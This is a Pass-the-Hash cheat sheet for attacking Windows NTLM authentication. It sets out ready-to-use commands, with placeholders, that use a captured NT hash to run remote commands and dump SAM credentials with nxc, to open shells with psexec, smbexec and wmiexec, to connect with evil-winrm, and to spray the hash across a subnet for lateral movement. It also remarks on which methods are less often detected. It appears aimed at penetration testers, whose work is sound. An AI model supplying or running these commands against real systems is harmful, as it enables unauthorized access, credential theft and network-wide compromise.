

Pass-the-Hash (PtH) - Cheat Sheet

Use a captured NTLM hash to authenticate as a user without knowing their plaintext password. Works against NTLM-based authentication (SMB, WinRM, RDP). Replace the placeholders (<...>) with your own values.

Step 1 — Obtain an NTLM hash

Common sources: Responder logs, ntlmrelayx SAM dump, secretsdump, Mimikatz / lsass dump.

You need the NT hash — the second half after the colon:

```
aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                this is the NT hash you pass
```

Step 2 — Authenticate via SMB (nxc)

List shares / verify access:

```
nxc smb <target-ip> -u <username> -H <NT-hash>
```

Execute a command:

```
nxc smb <target-ip> -u <username> -H <NT-hash> -x "<command>"
```

Dump SAM on the target (requires local admin):

```
nxc smb <target-ip> -u <username> -H <NT-hash> --sam
```

Step 3 — Get a shell via SMB (psexec / smbexec / wmiexec)

psexec (noisiest, drops a service binary):

```
sudo psexec.py <domain>/<username>@<target-ip> -hashes :<NT-hash>
```

smbexec (no binary dropped, output via share):

```
sudo smbexec.py <domain>/<username>@<target-ip> -hashes :<NT-hash>
```

wmiexec (semi-interactive, uses WMI - often less detected):

```
sudo wmiexec.py <domain>/<username>@<target-ip> -hashes :<NT-hash>
```

For local accounts use ./ instead of domain/:

Step 4 — Authenticate via WinRM (evil-winrm)

Requires WinRM (port 5985/5986) open and user in Remote Management Users:

```
evil-winrm -i <target-ip> -u <username> -H <NT-hash>
```

Step 5 — Spray the hash across the network

Check if the same local admin hash works on multiple machines:

```
nxc smb <target-subnet>/<cidr> -u <username> -H <NT-hash> --local-auth
```

Hosts that return [+] ... (Pwn3d!) are fully accessible with that hash.

Key idea: Windows NTLM authentication only needs the hash, not the plaintext. If you have the NT hash you can authenticate exactly as if you had the password. This is why password reuse across machines is dangerous — one captured hash can give you access to every machine sharing that credential.